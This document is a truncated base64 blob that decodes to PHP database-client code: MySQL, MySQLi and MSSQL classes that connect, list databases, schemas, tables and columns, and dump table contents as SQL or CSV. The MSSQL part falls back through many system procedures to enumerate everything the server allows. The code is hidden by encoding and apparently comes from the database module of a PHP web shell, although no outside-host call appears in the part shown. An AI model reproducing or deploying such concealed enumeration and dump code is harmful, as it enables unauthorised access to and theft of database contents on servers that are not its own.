ICAgICAgICAgcmV0dXJuIG15c3FsX2ZldGNoX3JvdygkdGhpcy0+X3Jlcyk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZnVuY3Rpb24gcXVlcnkoJHYpIHsKICAgICAgICAgICAgICAgIHJldHVybiAoJHRoaXMtPl9yZXMgPSBteXNxbF9xdWVyeSgkdiwgJHRoaXMtPl9jbmN0KSk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZnVuY3Rpb24gZHVtcCgkYiwgJHQsICRjLCAkZikgewogICAgICAgICAgICAgICAgaWYgKCRmKQogICAgICAgICAgICAgICAgICAgICRpID0gJHRoaXMtPm91dENyZWF0ZVRhYmxlKCRiLCAkdCk7CiAgICAgICAgICAgICAgICAkYyA9IHNxbEpvaW5Db2x1bW5zKCRjLCAnbXlzcWxFc2NOYW1lJyk7CiAgICAgICAgICAgICAgICBpZiAoKCRxID0gbXlzcWxfdW5idWZmZXJlZF9xdWVyeSgnU0VMRUNUICcgLiAkYyAuICcgRlJPTSAnIC4gbXlzcWxFc2NOYW1lKCRiLCAkdCksICR0aGlzLT5fY25jdCkpICYmICgkdiA9IG15c3FsX2ZldGNoX2Fzc29jKCRxKSkpIHsKICAgICAgICAgICAgICAgICAgICBpZiAoJGYpCiAgICAgICAgICAgICAgICAgICAgICAgIHNxbE91dEluc2VydChteXNxbEVzY05hbWUoJHQpLCAkYyk7CiAgICAgICAgICAgICAgICAgICAgZWxzZQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvIGltcGxvZGUoJzsnLCBhcnJheV9rZXlzKCR2KSksICJcbiI7CiAgICAgICAgICAgICAgICAgICAgJGQgPSBGQUxTRTsKICAgICAgICAgICAgICAgICAgICBkbyB7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkZCkKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJGQ7CiAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkID0gJGYgPyAnLCcgOiAiXG4iOwogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJGYpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBzcWxPdXRWYWx1ZXMoJHYsICdteXNxbEVzY0RhdGEnKTsKICAgICAgICAgICAgICAgICAgICAgICAgZWxzZQogICAgICAgICAgICAgICAgICAgICAgICAgICAgY3N2T3V0VmFsdWVzKCR2KTsKICAgICAgICAgICAgICAgICAgICB9IHdoaWxlICgkdiA9IG15c3FsX2ZldGNoX3JvdygkcSkpOwogICAgICAgICAgICAgICAgICAgIGlmICgkZikKICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiO1xuIjsKICAgICAgICAgICAgICAgICAgICBteXNxbF9mcmVlX3Jlc3VsdCgkcSk7CiAgICAgICAgICAgICAgICB9IGVsc2UKICAgICAgICAgICAgICAgICAgICAkaSAuPSBzcHJpbnRmKEVfU0xDVERULCAkYiAuICcuJyAuICR0KTsKICAgICAgICAgICAgICAgIHJldHVybiAkaTsKICAgICAgICAgICAgfQogICAgICAgICAgICBmdW5jdGlvbiBjbG9zZSgpIHsKICAgICAgICAgICAgICAgIG15c3FsX2Nsb3NlKCR0aGlzLT5fY25jdCk7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgY2xhc3MgTXlTUUxpQ2xpZW50IGV4dGVuZHMgTXlTUUxCYXNlIHsKICAgICAgICAgICAgZnVuY3Rpb24gY29ubmVjdCgkaCwgJHUsICRwLCAkYiwgJGMpIHsKICAgICAgICAgICAgICAgIGlmICgkaCAhPT0gTlVMTCAmJiAoJHYgPSBzdHJycG9zKCRoLCAnOicpKSkgewogICAgICAgICAgICAgICAgICAgICR0ID0gKGludCkgc3Vic3RyKCRoLCAkdiArIDEpOwogICAgICAgICAgICAgICAgICAgICRoID0gc3Vic3RyKCRoLCAwLCAkdik7CiAgICAgICAgICAgICAgICB9IGVsc2UKICAgICAgICAgICAgICAgICAgICAkdCA9IE5VTEw7CiAgICAgICAgICAgICAgICBpZiAoISgkdGhpcy0+X2NuY3QgPSBteXNxbGlfY29ubmVjdCgkaCwgJHUsICRwLCAkYiwgJHQpKSkKICAgICAgICAgICAgICAgICAgICByZXR1cm4gRkFMU0U7CiAgICAgICAgICAgICAgICBteXNxbGlfcXVlcnkoJHRoaXMtPl9jbmN0LCAnU0VUIE5BTUVTICcgLiAkdGhpcy0+Y2hhcnNldCgkYykpOwogICAgICAgICAgICAgICAgcmV0dXJuIFRSVUU7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZnVuY3Rpb24gZ2V0RXJyb3IoKSB7CiAgICAgICAgICAgICAgICBpZiAoJHRoaXMtPl9jbmN0KSB7CiAgICAgICAgICAgICAgICAgICAgJHYgPSBteXNxbGlfZXJyb3IoJHRoaXMtPl9jbmN0KTsKICAgICAgICAgICAgICAgICAgICBteXNxbGlfY2xvc2UoJHRoaXMtPl9jbmN0KTsKICAgICAgICAgICAgICAgICAgICByZXR1cm4gJHY7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICByZXR1cm4gbXlzcWxpX2Nvbm5lY3RfZXJyb3IoKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBmdW5jdGlvbiB0cnlRdWVyaWVzKCRhKSB7CiAgICAgICAgICAgICAgICBmb3JlYWNoICgkYSBhcyAkdikKICAgICAgICAgICAgICAgICAgICBpZiAoJHRoaXMtPl9yZXMgPSBteXNxbGlfcXVlcnkoJHRoaXMtPl9jbmN0LCAkdikpCiAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiBUUlVFOwogICAgICAgICAgICAgICAgcmV0dXJuIEZBTFNFOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGZ1bmN0aW9uIGZldGNoQmFzZSgpIHsKICAgICAgICAgICAgICAgIHJldHVybiAoJHYgPSBteXNxbGlfZmV0Y2hfcm93KCR0aGlzLT5fcmVzKSkgPyAkdlswXSA6IEZBTFNFOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGZ1bmN0aW9uIGZldGNoVGFibGUoKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gKCR2ID0gbXlzcWxpX2ZldGNoX3JvdygkdGhpcy0+X3JlcykpID8gJHZbMF0gOiBGQUxTRTsKICAgICAgICAgICAgfQogICAgICAgICAgICBmdW5jdGlvbiBnZXRUYWJsZVNpemUoJGIsICR0KSB7CiAgICAgICAgICAgICAgICBpZiAoJHYgPSBteXNxbGlfcXVlcnkoJHRoaXMtPl9jbmN0LCAnU0VMRUNUIENPVU5UKCopIEZST00gJyAuIG15c3FsRXNjTmFtZSgkYiwgJHQpKSkgewogICAgICAgICAgICAgICAgICAgICR2ID0gbXlzcWxpX2ZldGNoX3Jvdygkdik7CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuICR2WzBdOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgcmV0dXJuICciPyInOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGZ1bmN0aW9uIGdldENvbHVtbnMoJGIsICR0KSB7CiAgICAgICAgICAgICAgICBpZiAoJGEgPSBwYXJlbnQ6OmdldENvbHVtbnMoJGIsICR0KSkKICAgICAgICAgICAgICAgICAgICByZXR1cm4gJGE7CiAgICAgICAgICAgICAgICAkZSA9IG15c3FsRXNjTmFtZSgkYiwgJHQpOwogICAgICAgICAgICAgICAgJHEgPSBGQUxTRTsKICAgICAgICAgICAgICAgIGlmICgkcSA9IG15c3FsaV9xdWVyeSgkdGhpcy0+X2NuY3QsICdTRUxFQ1QgKiBGUk9NICcgLiAkZSAuICcgTElNSVQgMScpKSB7CiAgICAgICAgICAgICAgICAgICAgJHkgPSBhcnJheSgKICAgICAgICAgICAgICAgICAgICAgICAgJ0RFQ0lNQUwnLAogICAgICAgICAgICAgICAgICAgICAgICAnVElOWUlOVCcsCiAgICAgICAgICAgICAgICAgICAgICAgICdTTUFMTElOVCcsCiAgICAgICAgICAgICAgICAgICAgICAgICdJTlQnLAogICAgICAgICAgICAgICAgICAgICAgICAnRkxPQVQnLAogICAgICAgICAgICAgICAgICAgICAgICAnRE9VQkxFJywKICAgICAgICAgICAgICAgICAgICAgICAgJ05VTEwnLAogICAgICAgICAgICAgICAgICAgICAgICAnVElNRVNUQU1QJywKICAgICAgICAgICAgICAgICAgICAgICAgJ0JJR0lOVCcsCiAgICAgICAgICAgICAgICAgICAgICAgICdNRURJVU1JTlQnLAogICAgICAgICAgICAgICAgICAgICAgICAnREFURScsCiAgICAgICAgICAgICAgICAgICAgICAgICdUSU1FJywKICAgICAgICAgICAgICAgICAgICAgICAgJ0RBVEVUSU1FJywKICAgICAgICAgICAgICAgICAgICAgICAgJ1lFQVInLAogICAgICAgICAgICAgICAgICAgICAgICAnTkVXREFURScsCiAgICAgICAgICAgICAgICAgICAgICAgIDE2ID0+ICdCSVQnLAogICAgICAgICAgICAgICAgICAgICAgICAyNDYgPT4gJ0RFQ0lNQUwnLAogICAgICAgICAgICAgICAgICAgICAgICAyNDcgPT4gJ0VOVU0nLAogICAgICAgICAgICAgICAgICAgICAgICAyNDggPT4gJ1NFVCcsCiAgICAgICAgICAgICAgICAgICAgICAgIDI0OSA9PiAnVElOWScsCiAgICAgICAgICAgICAgICAgICAgICAgIDI1MCA9PiAnTUVESVVNJywKICAgICAgICAgICAgICAgICAgICAgICAgMjUxID0+ICdMT05HJywKICAgICAgICAgICAgICAgICAgICAgICAgMjUyID0+ICcnLAogICAgICAgICAgICAgICAgICAgICAgICAyNTMgPT4gJ1ZBUkNIQVInLAogICAgICAgICAgICAgICAgICAgICAgICAyNTQgPT4gJ0NIQVInLAogICAgICAgICAgICAgICAgICAgICAgICAyNTUgPT4gJ0dFT01FVFJZJwogICAgICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgICAgICAgICAgaWYgKCEoJHYgPSBteXNxbGlfZmV0Y2hfZmllbGRzKCRxKSkgJiYgKCRpID0gbXlzcWxpX2ZldGNoX2ZpZWxkKCRxKSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHYgPSBhcnJheSgpOwogICAgICAgICAgICAgICAgICAgICAgICBkbyB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdltdID0gJGk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0gd2hpbGUgKCRpID0gbXlzcWxpX2ZldGNoX2ZpZWxkKCRxKSk7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIGlmICgkdikgewogICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoICgkdiBhcyAkaSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRpLT50eXBlID4gMjQ4ICYmICRpLT50eXBlIDwgMjUzKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzID0gJHlbJGktPnR5cGVdIC4gKCgkaS0+ZmxhZ3MgJiAxNikgPyAnQkxPQicgOiAnVEVYVCcpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzID0gaXNzZXQoJHlbJGktPnR5cGVdKSA/ICR5WyRpLT50eXBlXSA6ICdCTE9CJzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkaS0+ZmxhZ3MgJiAzMjc2OCkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzIC49ICcoJyAuICRpLT5sZW5ndGg7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRpLT5kZWNpbWFscykKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHMgLj0gJywnIC4gJGktPmRlY2ltYWxzOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzIC49ICcpJzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkaS0+ZmxhZ3MgJiAzMikKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcyAuPSAnIFVOU0lHTkVEJzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkaS0+ZmxhZ3MgJiA2NCkKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcyAuPSAnIFpFUk9GSUxMJzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkaS0+ZmxhZ3MgJiAxKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzIC49ICcgTk9UIE5VTEwnOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGlzc2V0KCRpLT5kZWYpICYmICRpLT5kZWYgIT09ICcnICYmICRpLT5kZWYgIT09IE5VTEwpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHMgLj0gJyBERUZBVUxUICcgLiBteXNxbEVzY0RhdGEoJGktPmRlZik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJGktPmZsYWdzICYgNTEyKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzIC49ICcgQVVUT19JTkNSRU1FTlQnOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRpLT5mbGFncyAmIDIpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHMgLj0gJyBQUklNQVJZIEtFWSc7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlaWYgKCgkaS0+ZmxhZ3MgJiA0KSB8fCAoJGktPmZsYWdzICYgNjU1MzYpKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzIC49ICcgVU5JUVVFIEtFWSc7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlaWYgKCgkaS0+ZmxhZ3MgJiA4KSB8fCAoJGktPmZsYWdzICYgMTYzODQpKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzIC49ICcsIEtFWSgnIC4gbXlzcWxFc2NOYW1lKCRpLT5uYW1lKSAuICcpJzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRhWyRpLT5uYW1lXSA9ICRzOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiAkYTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgaWYgKCR2ID0gbXlzcWxpX2ZldGNoX2Fzc29jKCRxKSkgewogICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoICgkdiBhcyAkayA9PiAkaSkKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRhWyRrXSA9ICcnOwogICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gJGE7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgcmV0dXJuIEZBTFNFOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGZ1bmN0aW9uIGZldGNoQXNzb2MoKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gbXlzcWxpX2ZldGNoX2Fzc29jKCR0aGlzLT5fcmVzKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBmdW5jdGlvbiBmZXRjaFJvdygpIHsKICAgICAgICAgICAgICAgIHJldHVybiBteXNxbGlfZmV0Y2hfcm93KCR0aGlzLT5fcmVzKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBmdW5jdGlvbiBxdWVyeSgkdikgewogICAgICAgICAgICAgICAgcmV0dXJuICgkdGhpcy0+X3JlcyA9IG15c3FsaV9xdWVyeSgkdGhpcy0+X2NuY3QsICR2KSk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZnVuY3Rpb24gZHVtcCgkYiwgJHQsICRjLCAkZikgewogICAgICAgICAgICAgICAgaWYgKCRmKQogICAgICAgICAgICAgICAgICAgICRpID0gJHRoaXMtPm91dENyZWF0ZVRhYmxlKCRiLCAkdCk7CiAgICAgICAgICAgICAgICAkYyA9IHNxbEpvaW5Db2x1bW5zKCRjLCAnbXlzcWxFc2NOYW1lJyk7CiAgICAgICAgICAgICAgICBpZiAoKCRxID0gbXlzcWxpX3F1ZXJ5KCR0aGlzLT5fY25jdCwgJ1NFTEVDVCAnIC4gJGMgLiAnIEZST00gJyAuIG15c3FsRXNjTmFtZSgkYiwgJHQpLCBNWVNRTElfVVNFX1JFU1VMVCkpICYmICgkdiA9IG15c3FsaV9mZXRjaF9hc3NvYygkcSkpKSB7CiAgICAgICAgICAgICAgICAgICAgaWYgKCRmKQogICAgICAgICAgICAgICAgICAgICAgICBzcWxPdXRJbnNlcnQobXlzcWxFc2NOYW1lKCR0KSwgJGMpOwogICAgICAgICAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgICAgICAgICAgZWNobyBpbXBsb2RlKCc7JywgYXJyYXlfa2V5cygkdikpLCAiXG4iOwogICAgICAgICAgICAgICAgICAgICRkID0gRkFMU0U7CiAgICAgICAgICAgICAgICAgICAgZG8gewogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJGQpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICRkOwogICAgICAgICAgICAgICAgICAgICAgICBlbHNlCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZCA9ICRmID8gJywnIDogIlxuIjsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRmKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgc3FsT3V0VmFsdWVzKCR2LCAnbXlzcWxFc2NEYXRhJyk7CiAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNzdk91dFZhbHVlcygkdik7CiAgICAgICAgICAgICAgICAgICAgfSB3aGlsZSAoJHYgPSBteXNxbGlfZmV0Y2hfcm93KCRxKSk7CiAgICAgICAgICAgICAgICAgICAgaWYgKCRmKQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI7XG4iOwogICAgICAgICAgICAgICAgICAgIG15c3FsaV9mcmVlX3Jlc3VsdCgkcSk7CiAgICAgICAgICAgICAgICB9IGVsc2UKICAgICAgICAgICAgICAgICAgICAkaSAuPSBzcHJpbnRmKEVfU0xDVERULCAkYiAuICcuJyAuICR0KTsKICAgICAgICAgICAgICAgIHJldHVybiAkaTsKICAgICAgICAgICAgfQogICAgICAgICAgICBmdW5jdGlvbiBjbG9zZSgpIHsKICAgICAgICAgICAgICAgIG15c3FsaV9jbG9zZSgkdGhpcy0+X2NuY3QpOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIGZ1bmN0aW9uIG1zc3FsRXNjRGF0YSgkdikgewogICAgICAgICAgICByZXR1cm4gIiciIC4gc3RyX3JlcGxhY2UoIiciLCAiJyciLCAkdikgLiAiJyI7CiAgICAgICAgfQogICAgICAgIGZ1bmN0aW9uIG1zc3FsRXNjTmFtZSgpIHsKICAgICAgICAgICAgJGEgPSBmdW5jX2dldF9hcmdzKCk7CiAgICAgICAgICAgIGZvcmVhY2ggKCRhIGFzICRrID0+ICR2KQogICAgICAgICAgICAgICAgJGFbJGtdID0gJ1snIC4gc3RyX3JlcGxhY2UoJ10nLCAnXV0nLCAkdikgLiAnXSc7CiAgICAgICAgICAgIHJldHVybiBpbXBsb2RlKCcuJywgJGEpOwogICAgICAgIH0KICAgICAgICBjbGFzcyBNU1NRTEJhc2UgZXh0ZW5kcyBTUUxCYXNlIHsKICAgICAgICAgICAgdmFyICRoYXZlU2NoZW1hcyA9IFRSVUUsICRjYW5QYWdpbmF0ZSA9IFRSVUUsICRfYmFzZSA9IE5VTEw7CiAgICAgICAgICAgIGZ1bmN0aW9uIGdldEJhc2VzKCkgewogICAgICAgICAgICAgICAgcmV0dXJuICR0aGlzLT50cnlRdWVyaWVzKGFycmF5KAogICAgICAgICAgICAgICAgICAgICdTRUxFQ1QgbmFtZSBGUk9NIHN5cy5kYXRhYmFzZXMnLAogICAgICAgICAgICAgICAgICAgICdTRUxFQ1QgbmFtZSBGUk9NIHN5cy5zeXNkYXRhYmFzZXMnLAogICAgICAgICAgICAgICAgICAgICdTRUxFQ1QgbmFtZSBGUk9NIG1hc3Rlci5kYm8uc3lzZGF0YWJhc2VzJywKICAgICAgICAgICAgICAgICAgICAnRVhFQyBzcF9vbGVkYl9kYXRhYmFzZScsCiAgICAgICAgICAgICAgICAgICAgJ0VYRUMgbWFzdGVyLmRiby5zcF9tc2RidXNlcmFjY2VzcyAiZGIiJywKICAgICAgICAgICAgICAgICAgICAnRVhFQyBtYXN0ZXIuc3lzLnNwX21zZGJ1c2VyYWNjZXNzICJkYiInLAogICAgICAgICAgICAgICAgICAgICJFWEVDIHNwX21zZm9yZWFjaGRiICdTRUxFQ1QgJyc/JycnIiwKICAgICAgICAgICAgICAgICAgICAnRVhFQyBzcF9oZWxwZGInLAogICAgICAgICAgICAgICAgICAgICdFWEVDIHNwX2RhdGFiYXNlcycsCiAgICAgICAgICAgICAgICAgICAgJ0VYRUMgc3Bfb2xlZGJfZGVmZGInLAogICAgICAgICAgICAgICAgICAgICdTRUxFQ1QgRElTVElOQ1QgY2F0YWxvZ19uYW1lIEZST00gaW5mb3JtYXRpb25fc2NoZW1hLnNjaGVtYXRhJywKICAgICAgICAgICAgICAgICAgICAnU0VMRUNUIERCX05BTUUoKScKICAgICAgICAgICAgICAgICkpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGZ1bmN0aW9uIGdldFNjaGVtYXMoJGIpIHsKICAgICAgICAgICAgICAgIHJldHVybiAkdGhpcy0+dHJ5UXVlcmllcyhhcnJheSgKICAgICAgICAgICAgICAgICAgICAnU0VMRUNUIE5VTEwsc2NoZW1hX25hbWUgRlJPTSBpbmZvcm1hdGlvbl9zY2hlbWEuc2NoZW1hdGEnLAogICAgICAgICAgICAgICAgICAgICdTRUxFQ1QgTlVMTCxuYW1lIEZST00gc3lzLnNjaGVtYXMnLAogICAgICAgICAgICAgICAgICAgICdTRUxFQ1QgRElTVElOQ1Qgc2NoZW1hX2lkLFNDSEVNQV9OQU1FKHNjaGVtYV9pZCkgRlJPTSBzeXMuYWxsX29iamVjdHMnLAogICAgICAgICAgICAgICAgICAgICdFWEVDIHNwX3NjaGVtYXRhX3Jvd3NldCcsCiAgICAgICAgICAgICAgICAgICAgJ1NFTEVDVCBESVNUSU5DVCBzY2hlbWFfaWQsU0NIRU1BX05BTUUoc2NoZW1hX2lkKSBGUk9NIHN5cy5vYmplY3RzJywKICAgICAgICAgICAgICAgICAgICAnU0VMRUNUIERJU1RJTkNUIHNjaGVtYV9pZCxTQ0hFTUFfTkFNRShzY2hlbWFfaWQpIEZST00gc3lzLnRhYmxlcycsCiAgICAgICAgICAgICAgICAgICAgIlNFTEVDVCBOVUxMLG5hbWUgRlJPTSBzeXMuZGF0YWJhc2VfcHJpbmNpcGFscyBXSEVSRSB0eXBlPSdTJyIKICAgICAgICAgICAgICAgICkpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGZ1bmN0aW9uIGdldFRhYmxlcygkYiwgJHMpIHsKICAgICAgICAgICAgICAgICRzID0gbXNzcWxFc2NEYXRhKCRzKTsKICAgICAgICAgICAgICAgIGlmICgkdGhpcy0+cXVlcnkoJ1NFTEVDVCBTQ0hFTUFfSUQoJyAuICRzIC4gJyknKSAmJiAoJHYgPSAkdGhpcy0+ZmV0Y2hSb3coKSkgJiYgJHZbMF0pIHsKICAgICAgICAgICAgICAgICAgICAkc3IgPSAnc2NoZW1hX2lkPScgLiAkdlswXTsKICAgICAgICAgICAgICAgICAgICAkdXIgPSAndWlkPScgLiAkdlswXTsKICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgJHNyID0gJ1NDSEVNQV9OQU1FKHNjaGVtYV9pZCk9JyAuICRzOwogICAgICAgICAgICAgICAgICAgICR1ciA9ICdTQ0hFTUFfTkFNRSh1aWQpPScgLiAkczsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIHJldHVybiAkdGhpcy0+dHJ5UXVlcmllcyhhcnJheSgKICAgICAgICAgICAgICAgICAgICAiU0VMRUNUIG5hbWUgRlJPTSBzeXMuYWxsX29iamVjdHMgV0hFUkUgdHlwZSBJTignVScsJ1MnLCdWJykgQU5EICIgLiAkc3IsCiAgICAgICAgICAgICAgICAgICAgJ0VYRUMgc3BfdGFibGVzIEB0YWJsZV9vd25lcj0nIC4gJHMsCiAgICAgICAgICAgICAgICAgICAgIlNFTEVDVCBuYW1lIEZST00gc3lzLm9iamVjdHMgV0hFUkUgdHlwZSBJTignVScsJ1MnLCdWJykgQU5EICIgLiAkc3IsCiAgICAgICAgICAgICAgICAgICAgIlNFTEVDVCBuYW1lIEZST00gc3lzb2JqZWN0cyBXSEVSRSB4dHlwZSBJTignVScsJ1MnLCdWJykgQU5EICIgLiAkdXIsCiAgICAgICAgICAgICAgICAgICAgJ1NFTEVDVCB0YWJsZV9uYW1lIEZST00gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcyBXSEVSRSB0YWJsZV9zY2hlbWE9JyAuICRzLAogICAgICAgICAgICAgICAgICAgICdTRUxFQ1QgbmFtZSBGUk9NIHN5cy50YWJsZXMgV0hFUkUgJyAuICRzciwKICAgICAgICAgICAgICAgICAgICAiRVhFQyBzcF9tc2ZvcmVhY2h0YWJsZSAnU0VMRUNUIFBBUlNFTkFNRSgnJz8nJywxKScsIEB3aGVyZWFuZD0nQU5EICIgLiBzdHJfcmVwbGFjZSgiJyIsICInJyIsICRzcikgLiAiJyIKICAgICAgICAgICAgICAgICkpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGZ1bmN0aW9uIGdldENvbHVtbnMoJGIsICRzLCAkdCkgewogICAgICAgICAgICAgICAgJGEgICAgPSBhcnJheSgpOwogICAgICAgICAgICAgICAgJHNkICAgPSBtc3NxbEVzY0RhdGEoJHMpOwogICAgICAgICAgICAgICAgJHNuICAgPSBtc3NxbEVzY05hbWUoJHMpOwogICAgICAgICAgICAgICAgJHRkICAgPSBtc3NxbEVzY0RhdGEoJHQpOwogICAgICAgICAgICAgICAgJHRuICAgPSBtc3NxbEVzY05hbWUoJHQpOwogICAgICAgICAgICAgICAgJHN0ZG4gPSBtc3NxbEVzY0RhdGEoJHNuIC4gJy4nIC4gJHRuKTsKICAgICAgICAgICAgICAgIGlmICgkdGhpcy0+cXVlcnkoJ0VYRUMgc3BfY29sdW1ucyAnIC4gJHRkIC4gJywnIC4gJHNkKSAmJiAkdiA9ICR0aGlzLT5mZXRjaFJvdygpKSB7CiAgICAgICAgICAgICAgICAgICAgZG8gewogICAgICAgICAgICAgICAgICAgICAgICAkdls1XSA9IHN0cnRvdXBwZXIoJHZbNV0pOwogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJHZbMTBdID09PSAwKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHZbNV0gLj0gJyBOT1QgTlVMTCc7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkdlsxMl0gIT09IE5VTEwpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdls1XSAuPSAnIERFRkFVTFQnIC4gJHZbMTJdOwogICAgICAgICAgICAgICAgICAgICAgICAkYVskdlszXV0gPSAkdls1XTsKICAgICAgICAgICAgICAgICAgICB9IHdoaWxlICgkdiA9ICR0aGlzLT5mZXRjaFJvdygpKTsKICAgICAgICAgICAgICAgICAgICByZXR1cm4gJGE7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBpZiAoJHRoaXMtPnF1ZXJ5KCdFWEVDIHNwX2hlbHAgJyAuICRzdGRuKSAmJiAkdGhpcy0+bmV4dFJlc3VsdCgpICYmICgkdiA9ICR0aGlzLT5mZXRjaFJvdygpKSkgewogICAgICAgICAgICAgICAgICAgIGRvIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHZbMV0gPSBzdHJ0b3VwcGVyKCR2WzFdKTsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCR2WzZdID09PSAnbm8nKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHZbMV0gLj0gJyBOT1QgTlVMTCc7CiAgICAgICAgICAgICAgICAgICAgICAgICRhWyR2WzBdXSA9ICR2WzFdOwogICAgICAgICAgICAgICAgICAgIH0gd2hpbGUgKCR2ID0gJHRoaXMtPmZldGNoUm93KCkpOwogICAgICAgICAgICAgICAgICAgIHJldHVybiAkYTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGlmICgkdGhpcy0+cXVlcnkoJ0VYRUMgc3BfbXNoZWxwY29sdW1ucyAnIC4gJHN0ZG4pICYmICR2ID0gJHRoaXMtPmZldGNoUm93KCkpIHsKICAgICAgICAgICAgICAgICAgICBkbyB7CiAgICAgICAgICAgICAgICAgICAgICAgICR2WzZdID0gc3RydG91cHBlcigkdls2XSk7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkdls5XSA9PT0gMCkKICAgICAgICAgICAgICAgICAgICAgICAgICAgICR2WzZdIC49ICcgTk9UIE5VTEwnOwogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJHZbMTddICE9PSBOVUxMKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHZbNl0gLj0gJyBERUZBVUxUJyAuICR2WzE3XTsKICAgICAgICAgICAgICAgICAgICAgICAgJGFbJHZbMF1dID0gJHZbNl07CiAgICAgICAgICAgICAgICAgICAgfSB3aGlsZSAoJHYgPSAkdGhpcy0+ZmV0Y2hSb3coKSk7CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuICRhOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgaWYgKCR0aGlzLT5xdWVyeSgnU0VMRUNUIGNvbHVtbl9uYW1lLGRhdGFfd